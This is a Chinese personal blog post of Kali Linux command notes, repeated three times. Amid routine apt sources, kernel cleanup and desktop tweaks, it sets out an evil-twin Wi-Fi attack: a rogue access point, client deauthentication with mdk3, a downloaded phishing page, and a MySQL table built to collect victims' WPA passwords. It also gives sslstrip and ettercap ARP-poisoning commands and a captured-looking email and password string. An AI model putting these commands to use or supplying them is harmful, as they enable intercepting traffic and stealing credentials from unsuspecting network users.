linux下的一些笔记
1 apt-get update && apt-get upgrade && apt-get dist-upgrade 2 3 4 apt-get install dhcp3-server 5 file /etc/dhcp/dhcpd.conf 6 authoritative; 7 default-lease-time 600; 8 max-lease-time 7200; 9 subnet 192.168.1.128 netmask 255.255.255.128 { 10 option subnet-mask 255.255.255.128; 11 option broadcast-address 192.168.1.255; 12 option routers 192.168.1.129; 13 option domain-name-servers 202.101.224.68; 14 range 192.168.1.130 192.168.1.140; 15 } 16 17 18 19 cd /var/www/ 20 rm index.html 21 wget http://hackthistv.com/eviltwin.zip 22 unzip eviltwin.zip 23 rm eviltwin.zip 24 25 26 27 /etc/init.d/apache2 start 28 /etc/init.d/mysql start 29 30 mysql -u root 31 create database evil_twin; 32 use evil_twin; 33 create table wpa_keys(password varchar(64),confirm varchar(64)); 34 ip route 35 airmon-ng start wlan0 36 37 airodump-ng-oui-update 38 airodump-ng -M mon0 39 40 airbase-ng -e CMCCe -c 6 -P mon0 41 42 43 ifconfig at0 192.168.1.129 netmask 255.255.255.128 44 route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129 45 echo 1 > /proc/sys/ipv4/ip_forward 46 iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE 47 iptables --append FORWARD --in-interface at0 -j ACCEPT 48 iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 172.26.107.2:80 49 iptables -t nat -A POSTROUTING -j MASQUERADE 50 51 dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0 52 /etc/init.d/isc-dhcp-server start 53 54 55 echo MAC > blacklist 56 mdk3 mon0 d -b blacklist -c 6 57 58 59 select * from wpa keys; 60 61 62 63 root@kali:~# airbase-ng -c 11 -e freewifi mon0 64 11:15:16 Created tap interface at0 65 11:15:16 Trying to set MTU on at0 to 1500 66 11:15:16 Trying to set MTU on mon0 to 1800 67 11:15:16 Access Point with BSSID 08:ED:B9:74:0A:33 started. 68 Error: Got channel -1, expected a value > 0. 69 volson_auto@163.com&password=d71074aef9a11b50dc0333baa3d9d653 70 cat -n /proc/net/ip_conntrack |grep tcp |awk '{print $2"\t"$5"\t"$6"\t"$7"\t"$8"\t"$9"\t"$11}'|more 71 72 73 ifconfig eth0 down 74 macchanger -a eth0 75 ifconfig eth0 up 76 77 macchanger -m 00:46:4b:c7:75:ae eth0 78 iptables -t nat -F 79 cat /proc/sys/net/ipv4/ip_forward 80 81 apt-get install network-manager-pptp network-manager-pptp-gnome 82 83 http://www.cnblogs.com/xunbu7/p/3853608.html 84 http://www.cnblogs.com/tk091/p/3667600.html 85 86 figlet "linux4chou" -f /usr/share/figlet/larry3d.flf 87 ******************************************************************* 88 89 gedit /etc/chromium/default 90 grub-mkconfig -o /boot/grub/grub.cfg 91 92 cd /opt/google/chrome/ 93 hexedit chrome 94 Press Tab -> Switch to ASCII 95 Press Ctrl+ S -> Search "geteuid" 96 Modify to "getppid" 97 Press Ctrl+ X -> Save 98 99 sudo apt-get purge $( dpkg --list | grep -P -o "linux-image-\d\S+" | grep -v $(uname -r | grep -P -o ".+\d") 100 101 ******************************************************************************** 102 103 deb http://mirrors.163.com/debian wheezy main non-free contrib 104 deb http://mirrors.163.com/debian wheezy-proposed-updates main contrib non-free 105 deb-src http://mirrors.163.com/debian wheezy main non-free contrib 106 deb-src http://mirrors.163.com/debian wheezy-proposed-updates main contrib non-free 107 108 deb http://mirrors.163.com/debian-security wheezy/updates main contrib non-free 109 deb-src http://mirrors.163.com/debian-security wheezy/updates main contrib non-free 110 111 112 deb http://mirrors.163.com/debian-backports/ squeeze-backports main contrib non-free 113 deb-src http://mirrors.163.com/debian-backports/ squeeze-backports main contrib non-free 114 deb http://dotdeb.90g.org/ stable all 115 deb-src http://dotdeb.90g.org/ stable all 116 deb http://repo.kali.org/kali kali-bleeding-edge main 117 deb-src http://repo.kali.org/kali kali-bleeding-edge main 118 deb http://mirrors.ustc.edu.cn/kali kali main non-free contrib 119 deb-src http://mirrors.ustc.edu.cn/kali kali main non-free contrib 120 deb http://mirrors.ustc.edu.cn/kali-security kali/updates main contrib non-free 121 deb http://deb.opera.com/opera/ stable non-free #Opera Browser (final releases) 122 123 124 sudo apt-get -t wheezy-backports install vlc 125 deb http://http.debian.net/debian wheezy-backports main 126 apt-get update 127 # apt-get install gnome-vlc libdvdcss2 128 ########################################################################################### 129 ettercap install 130 131 apt-get install debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev -y 132 133 If the build fails because you're missing a dependency: 134 135 $ (Install any missing dependencies.) 136 $ make clean-all 137 $ cmake ../ 138 $ make 139 $ make install 140 141 142 #### Bundled libraries 143 Ettercap now bundles the following libraries with the source distribution: 144 libnet 1.1.6 145 curl 7.38.0 146 luajit 2.0.3 147 check 0.9.14 148 149 150 We will build bundled libraries that Ettercap depends upon, so you 151 don't have to! 152 153 By default, the build system will search for system-provided libraries. If it 154 doesn't find the particular library it wants, it will build the library, itself. 155 156 # To disable the use of bundled libraries: 157 $ cmake -DBUNDLED_LIBS=Off ../ 158 159 # To disable the searching for system-provided libraries, and use 160 # bundled libraries exclusively: 161 $ cmake -DSYSTEM_LIBS=Off ../ 162 163 ########################################################################## 164 165 166 167 168 169 apt-get install network-manager-openvpn-gnome network-manager-pptp network-manager-pptp-gnome network-manager-strongswan network-manager-vpnc network-manager-vpnc-gnome -y 170 /etc/init.d/network-manager restart 171 -------------------------------------------------------------------------- 172 sudo apt-get remove --purge linux-image-X.X.XX-XX-generic 173 dpkg --get-selections | grep linux-image 174 dpkg -l linux-* | awk '/^ii/{ print $2}' | grep -v -e `uname -r | cut -f1,2 -d"-"` | grep -e [0-9] | grep -E "(image|headers)" | xargs sudo apt-get -y purge 175 176 ----------------------------------------------------------------------- 177 178 http://www.xuanhun521.com/ 179 180 181 macchanger -m 00:46:4b:c7:75:ae eth0 182 iptables -t nat -F 183 cat /proc/sys/net/ipv4/ip_forward 184 185 186 echo 1 > /proc/sys/net/ipv4/ip_forward 187 sysctl -w net.ipv4.ip_forward=1 188 cat /proc/sys/net/ipv4/ip_forward 189 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 190 iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 10000 191 sslstrip -l 10000 192 ettercap -i wlan1 -TqP autoadd -M arp:remote /172.26.116.1/ // -m zhua 193 194 195 /etc/init.d/nessusd start 196 197 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8118 198 199 200 201 202 203 http://www.cnblogs.com/xunbu7/p/3853608.html 204 http://www.cnblogs.com/tk091/p/3667600.html 205 http://sathisharthars.wordpress.com 206 207 ********************************************************************************************* 208 lsof -i 比netstat好用 209 http contains "POST" wireshark 抓包专用 210 root自动登录 211 root@kali:~# leafpad /etc/gdm3/daemon.conf 212 [daemon] 213 # Enabling automatic login 214 AutomaticLoginEnable = true 215 AutomaticLogin = root 216 nmap -A IP 217 -sS -sV IP 218 IP -oG output.txt 219 220 221 ******************************************************** 222 223 http://eastasiastudent.net/china/mandarin/scim-smart-pinyin 中文输入法 224 225 deb http://mirrors.aliyun.com/kali kali main non-free contrib 226 deb-src http://mirrors.aliyun.com/kali kali main non-free contrib 227 deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free 228 deb http://ftp.cn.debian.org/debian squeeze main 229 230 In the mean time the work around is to add the --user-data-dir flag to the default file (/etc/chromium/default) 231 232 Confirmed if works fine. 233 ########################################################################################### 234 sudo apt-get install ttf-wqy-microhei ttf-wqy-zenhei xfonts-wqy -y chinese can't 235 apt-get install gedit chromium-browser cheese cmatrix gimp -y 1 apt-get update && apt-get upgrade && apt-get dist-upgrade 2 3 4 apt-get install dhcp3-server 5 file /etc/dhcp/dhcpd.conf 6 authoritative; 7 default-lease-time 600; 8 max-lease-time 7200; 9 subnet 192.168.1.128 netmask 255.255.255.128 { 10 option subnet-mask 255.255.255.128; 11 option broadcast-address 192.168.1.255; 12 option routers 192.168.1.129; 13 option domain-name-servers 202.101.224.68; 14 range 192.168.1.130 192.168.1.140; 15 } 16 17 18 19 cd /var/www/ 20 rm index.html 21 wget http://hackthistv.com/eviltwin.zip 22 unzip eviltwin.zip 23 rm eviltwin.zip 24 25 26 27 /etc/init.d/apache2 start 28 /etc/init.d/mysql start 29 30 mysql -u root 31 create database evil_twin; 32 use evil_twin; 33 create table wpa_keys(password varchar(64),confirm varchar(64)); 34 ip route 35 airmon-ng start wlan0 36 37 airodump-ng-oui-update 38 airodump-ng -M mon0 39 40 airbase-ng -e CMCCe -c 6 -P mon0 41 42 43 ifconfig at0 192.168.1.129 netmask 255.255.255.128 44 route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129 45 echo 1 > /proc/sys/ipv4/ip_forward 46 iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE 47 iptables --append FORWARD --in-interface at0 -j ACCEPT 48 iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 172.26.107.2:80 49 iptables -t nat -A POSTROUTING -j MASQUERADE 50 51 dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0 52 /etc/init.d/isc-dhcp-server start 53 54 55 echo MAC > blacklist 56 mdk3 mon0 d -b blacklist -c 6 57 58 59 select * from wpa keys; 60 61 62 63 root@kali:~# airbase-ng -c 11 -e freewifi mon0 64 11:15:16 Created tap interface at0 65 11:15:16 Trying to set MTU on at0 to 1500 66 11:15:16 Trying to set MTU on mon0 to 1800 67 11:15:16 Access Point with BSSID 08:ED:B9:74:0A:33 started. 68 Error: Got channel -1, expected a value > 0. 69 volson_auto@163.com&password=d71074aef9a11b50dc0333baa3d9d653 70 cat -n /proc/net/ip_conntrack |grep tcp |awk '{print $2"\t"$5"\t"$6"\t"$7"\t"$8"\t"$9"\t"$11}'|more 71 72 73 ifconfig eth0 down 74 macchanger -a eth0 75 ifconfig eth0 up 76 77 macchanger -m 00:46:4b:c7:75:ae eth0 78 iptables -t nat -F 79 cat /proc/sys/net/ipv4/ip_forward 80 81 apt-get install network-manager-pptp network-manager-pptp-gnome 82 83 http://www.cnblogs.com/xunbu7/p/3853608.html 84 http://www.cnblogs.com/tk091/p/3667600.html 85 86 figlet "linux4chou" -f /usr/share/figlet/larry3d.flf 87 ******************************************************************* 88 89 gedit /etc/chromium/default 90 grub-mkconfig -o /boot/grub/grub.cfg 91 92 cd /opt/google/chrome/ 93 hexedit chrome 94 Press Tab -> Switch to ASCII 95 Press Ctrl+ S -> Search "geteuid" 96 Modify to "getppid" 97 Press Ctrl+ X -> Save 98 99 sudo apt-get purge $( dpkg --list | grep -P -o "linux-image-\d\S+" | grep -v $(uname -r | grep -P -o ".+\d") 100 101 ******************************************************************************** 102 103 deb http://mirrors.163.com/debian wheezy main non-free contrib 104 deb http://mirrors.163.com/debian wheezy-proposed-updates main contrib non-free 105 deb-src http://mirrors.163.com/debian wheezy main non-free contrib 106 deb-src http://mirrors.163.com/debian wheezy-proposed-updates main contrib non-free 107 108 deb http://mirrors.163.com/debian-security wheezy/updates main contrib non-free 109 deb-src http://mirrors.163.com/debian-security wheezy/updates main contrib non-free 110 111 112 deb http://mirrors.163.com/debian-backports/ squeeze-backports main contrib non-free 113 deb-src http://mirrors.163.com/debian-backports/ squeeze-backports main contrib non-free 114 deb http://dotdeb.90g.org/ stable all 115 deb-src http://dotdeb.90g.org/ stable all 116 deb http://repo.kali.org/kali kali-bleeding-edge main 117 deb-src http://repo.kali.org/kali kali-bleeding-edge main 118 deb http://mirrors.ustc.edu.cn/kali kali main non-free contrib 119 deb-src http://mirrors.ustc.edu.cn/kali kali main non-free contrib 120 deb http://mirrors.ustc.edu.cn/kali-security kali/updates main contrib non-free 121 deb http://deb.opera.com/opera/ stable non-free #Opera Browser (final releases) 122 123 124 sudo apt-get -t wheezy-backports install vlc 125 deb http://http.debian.net/debian wheezy-backports main 126 apt-get update 127 # apt-get install gnome-vlc libdvdcss2 128 ########################################################################################### 129 ettercap install 130 131 apt-get install debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev -y 132 133 If the build fails because you're missing a dependency: 134 135 $ (Install any missing dependencies.) 136 $ make clean-all 137 $ cmake ../ 138 $ make 139 $ make install 140 141 142 #### Bundled libraries 143 Ettercap now bundles the following libraries with the source distribution: 144 libnet 1.1.6 145 curl 7.38.0 146 luajit 2.0.3 147 check 0.9.14 148 149 150 We will build bundled libraries that Ettercap depends upon, so you 151 don't have to! 152 153 By default, the build system will search for system-provided libraries. If it 154 doesn't find the particular library it wants, it will build the library, itself. 155 156 # To disable the use of bundled libraries: 157 $ cmake -DBUNDLED_LIBS=Off ../ 158 159 # To disable the searching for system-provided libraries, and use 160 # bundled libraries exclusively: 161 $ cmake -DSYSTEM_LIBS=Off ../ 162 163 ########################################################################## 164 165 166 167 168 169 apt-get install network-manager-openvpn-gnome network-manager-pptp network-manager-pptp-gnome network-manager-strongswan network-manager-vpnc network-manager-vpnc-gnome -y 170 /etc/init.d/network-manager restart 171 -------------------------------------------------------------------------- 172 sudo apt-get remove --purge linux-image-X.X.XX-XX-generic 173 dpkg --get-selections | grep linux-image 174 dpkg -l linux-* | awk '/^ii/{ print $2}' | grep -v -e `uname -r | cut -f1,2 -d"-"` | grep -e [0-9] | grep -E "(image|headers)" | xargs sudo apt-get -y purge 175 176 ----------------------------------------------------------------------- 177 178 http://www.xuanhun521.com/ 179 180 181 macchanger -m 00:46:4b:c7:75:ae eth0 182 iptables -t nat -F 183 cat /proc/sys/net/ipv4/ip_forward 184 185 186 echo 1 > /proc/sys/net/ipv4/ip_forward 187 sysctl -w net.ipv4.ip_forward=1 188 cat /proc/sys/net/ipv4/ip_forward 189 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 190 iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 10000 191 sslstrip -l 10000 192 ettercap -i wlan1 -TqP autoadd -M arp:remote /172.26.116.1/ // -m zhua 193 194 195 /etc/init.d/nessusd start 196 197 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8118 198 199 200 201 202 203 http://www.cnblogs.com/xunbu7/p/3853608.html 204 http://www.cnblogs.com/tk091/p/3667600.html 205 http://sathisharthars.wordpress.com 206 207 ********************************************************************************************* 208 lsof -i 比netstat好用 209 http contains "POST" wireshark 抓包专用 210 root自动登录 211 root@kali:~# leafpad /etc/gdm3/daemon.conf 212 [daemon] 213 # Enabling automatic login 214 AutomaticLoginEnable = true 215 AutomaticLogin = root 216 nmap -A IP 217 -sS -sV IP 218 IP -oG output.txt 219 220 221 ******************************************************** 222 223 http://eastasiastudent.net/china/mandarin/scim-smart-pinyin 中文输入法 224 wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add - $ sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' 225 deb http://mirrors.aliyun.com/kali kali main non-free contrib 226 deb-src http://mirrors.aliyun.com/kali kali main non-free contrib 227 deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free 228 deb http://ftp.cn.debian.org/debian squeeze main 229 230 In the mean time the work around is to add the --user-data-dir flag to the default file (/etc/chromium/default) 231 232 Confirmed if works fine. 233 ########################################################################################### 234 sudo apt-get install ttf-wqy-microhei ttf-wqy-zenhei xfonts-wqy -y chinese can't 235 apt-get install gedit chromium-browser cheese cmatrix gimp -y 1 apt-get update && apt-get upgrade && apt-get dist-upgrade 2 3 4 apt-get install dhcp3-server 5 file /etc/dhcp/dhcpd.conf 6 authoritative; 7 default-lease-time 600; 8 max-lease-time 7200; 9 subnet 192.168.1.128 netmask 255.255.255.128 { 10 option subnet-mask 255.255.255.128; 11 option broadcast-address 192.168.1.255; 12 option routers 192.168.1.129; 13 option domain-name-servers 202.101.224.68; 14 range 192.168.1.130 192.168.1.140; 15 } 16 17 18 19 cd /var/www/ 20 rm index.html 21 wget http://hackthistv.com/eviltwin.zip 22 unzip eviltwin.zip 23 rm eviltwin.zip 24 25 26 27 /etc/init.d/apache2 start 28 /etc/init.d/mysql start 29 30 mysql -u root 31 create database evil_twin; 32 use evil_twin; 33 create table wpa_keys(password varchar(64),confirm varchar(64)); 34 ip route 35 airmon-ng start wlan0 36 37 airodump-ng-oui-update 38 airodump-ng -M mon0 39 40 airbase-ng -e CMCCe -c 6 -P mon0 41 42 43 ifconfig at0 192.168.1.129 netmask 255.255.255.128 44 route add -net 192.168.1.128 netmask 255.255.255.128 gw 192.168.1.129 45 echo 1 > /proc/sys/ipv4/ip_forward 46 iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE 47 iptables --append FORWARD --in-interface at0 -j ACCEPT 48 iptables -t nat -A PREROUTING -p tcp --dport 80 -j DNAT --to-destination 172.26.107.2:80 49 iptables -t nat -A POSTROUTING -j MASQUERADE 50 51 dhcpd -cf /etc/dhcp/dhcpd.conf -pf /var/run/dhcpd.pid at0 52 /etc/init.d/isc-dhcp-server start 53 54 55 echo MAC > blacklist 56 mdk3 mon0 d -b blacklist -c 6 57 58 59 select * from wpa keys; 60 61 62 63 root@kali:~# airbase-ng -c 11 -e freewifi mon0 64 11:15:16 Created tap interface at0 65 11:15:16 Trying to set MTU on at0 to 1500 66 11:15:16 Trying to set MTU on mon0 to 1800 67 11:15:16 Access Point with BSSID 08:ED:B9:74:0A:33 started. 68 Error: Got channel -1, expected a value > 0. 69 volson_auto@163.com&password=d71074aef9a11b50dc0333baa3d9d653 70 cat -n /proc/net/ip_conntrack |grep tcp |awk '{print $2"\t"$5"\t"$6"\t"$7"\t"$8"\t"$9"\t"$11}'|more 71 72 73 ifconfig eth0 down 74 macchanger -a eth0 75 ifconfig eth0 up 76 77 macchanger -m 00:46:4b:c7:75:ae eth0 78 iptables -t nat -F 79 cat /proc/sys/net/ipv4/ip_forward 80 81 apt-get install network-manager-pptp network-manager-pptp-gnome 82 83 http://www.cnblogs.com/xunbu7/p/3853608.html 84 http://www.cnblogs.com/tk091/p/3667600.html 85 86 figlet "linux4chou" -f /usr/share/figlet/larry3d.flf 87 ******************************************************************* 88 89 gedit /etc/chromium/default 90 grub-mkconfig -o /boot/grub/grub.cfg 91 92 cd /opt/google/chrome/ 93 hexedit chrome 94 Press Tab -> Switch to ASCII 95 Press Ctrl+ S -> Search "geteuid" 96 Modify to "getppid" 97 Press Ctrl+ X -> Save 98 99 sudo apt-get purge $( dpkg --list | grep -P -o "linux-image-\d\S+" | grep -v $(uname -r | grep -P -o ".+\d") 100 101 ******************************************************************************** 102 103 deb http://mirrors.163.com/debian wheezy main non-free contrib 104 deb http://mirrors.163.com/debian wheezy-proposed-updates main contrib non-free 105 deb-src http://mirrors.163.com/debian wheezy main non-free contrib 106 deb-src http://mirrors.163.com/debian wheezy-proposed-updates main contrib non-free 107 108 deb http://mirrors.163.com/debian-security wheezy/updates main contrib non-free 109 deb-src http://mirrors.163.com/debian-security wheezy/updates main contrib non-free 110 111 112 deb http://mirrors.163.com/debian-backports/ squeeze-backports main contrib non-free 113 deb-src http://mirrors.163.com/debian-backports/ squeeze-backports main contrib non-free 114 deb http://dotdeb.90g.org/ stable all 115 deb-src http://dotdeb.90g.org/ stable all 116 deb http://repo.kali.org/kali kali-bleeding-edge main 117 deb-src http://repo.kali.org/kali kali-bleeding-edge main 118 deb http://mirrors.ustc.edu.cn/kali kali main non-free contrib 119 deb-src http://mirrors.ustc.edu.cn/kali kali main non-free contrib 120 deb http://mirrors.ustc.edu.cn/kali-security kali/updates main contrib non-free 121 deb http://deb.opera.com/opera/ stable non-free #Opera Browser (final releases) 122 123 124 sudo apt-get -t wheezy-backports install vlc 125 deb http://http.debian.net/debian wheezy-backports main 126 apt-get update 127 # apt-get install gnome-vlc libdvdcss2 128 ########################################################################################### 129 ettercap install 130 131 apt-get install debhelper bison check cmake flex ghostscript libbsd-dev libcurl4-openssl-dev libgtk2.0-dev libltdl-dev libncurses5-dev libnet1-dev libpcap-dev libpcre3-dev libssl-dev libgtk-3-dev -y 132 133 If the build fails because you're missing a dependency: 134 135 $ (Install any missing dependencies.) 136 $ make clean-all 137 $ cmake ../ 138 $ make 139 $ make install 140 141 142 #### Bundled libraries 143 Ettercap now bundles the following libraries with the source distribution: 144 libnet 1.1.6 145 curl 7.38.0 146 luajit 2.0.3 147 check 0.9.14 148 149 150 We will build bundled libraries that Ettercap depends upon, so you 151 don't have to! 152 153 By default, the build system will search for system-provided libraries. If it 154 doesn't find the particular library it wants, it will build the library, itself. 155 156 # To disable the use of bundled libraries: 157 $ cmake -DBUNDLED_LIBS=Off ../ 158 159 # To disable the searching for system-provided libraries, and use 160 # bundled libraries exclusively: 161 $ cmake -DSYSTEM_LIBS=Off ../ 162 163 ########################################################################## 164 165 166 167 168 169 apt-get install network-manager-openvpn-gnome network-manager-pptp network-manager-pptp-gnome network-manager-strongswan network-manager-vpnc network-manager-vpnc-gnome -y 170 /etc/init.d/network-manager restart 171 -------------------------------------------------------------------------- 172 sudo apt-get remove --purge linux-image-X.X.XX-XX-generic 173 dpkg --get-selections | grep linux-image 174 dpkg -l linux-* | awk '/^ii/{ print $2}' | grep -v -e `uname -r | cut -f1,2 -d"-"` | grep -e [0-9] | grep -E "(image|headers)" | xargs sudo apt-get -y purge 175 176 ----------------------------------------------------------------------- 177 178 http://www.xuanhun521.com/ 179 180 181 macchanger -m 00:46:4b:c7:75:ae eth0 182 iptables -t nat -F 183 cat /proc/sys/net/ipv4/ip_forward 184 185 186 echo 1 > /proc/sys/net/ipv4/ip_forward 187 sysctl -w net.ipv4.ip_forward=1 188 cat /proc/sys/net/ipv4/ip_forward 189 iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000 190 iptables -t nat -A PREROUTING -p tcp --destination-port 443 -j REDIRECT --to-port 10000 191 sslstrip -l 10000 192 ettercap -i wlan1 -TqP autoadd -M arp:remote /172.26.116.1/ // -m zhua 193 194 195 /etc/init.d/nessusd start 196 197 iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8118 198 199 200 201 202 203 http://www.cnblogs.com/xunbu7/p/3853608.html 204 http://www.cnblogs.com/tk091/p/3667600.html 205 http://sathisharthars.wordpress.com 206 207 ********************************************************************************************* 208 lsof -i 比netstat好用 209 http contains "POST" wireshark 抓包专用 210 root自动登录 211 root@kali:~# leafpad /etc/gdm3/daemon.conf 212 [daemon] 213 # Enabling automatic login 214 AutomaticLoginEnable = true 215 AutomaticLogin = root 216 nmap -A IP 217 -sS -sV IP 218 IP -oG output.txt 219 220 wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add - $ sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google.list' 221 ******************************************************** 222 223 http://eastasiastudent.net/china/mandarin/scim-smart-pinyin 中文输入法 224 http://sksd.ga:8080/invi/4W5Val Youtube 225 deb http://mirrors.aliyun.com/kali kali main non-free contrib 226 deb-src http://mirrors.aliyun.com/kali kali main non-free contrib 227 deb http://mirrors.aliyun.com/kali-security kali/updates main contrib non-free 228 deb http://ftp.cn.debian.org/debian squeeze main 229 230 In the mean time the work around is to add the --user-data-dir flag to the default file (/etc/chromium/default) 231 232 Confirmed if works fine. 233 ########################################################################################### 234 sudo apt-get install ttf-wqy-microhei ttf-wqy-zenhei xfonts-wqy -y chinese can't 235 apt-get install gedit chromium-browser cheese cmatrix gimp -y
posted on 2015-05-04 17:37 PureLandbb 阅读(510) 评论(1) 收藏 举报
浙公网安备 33010602011771号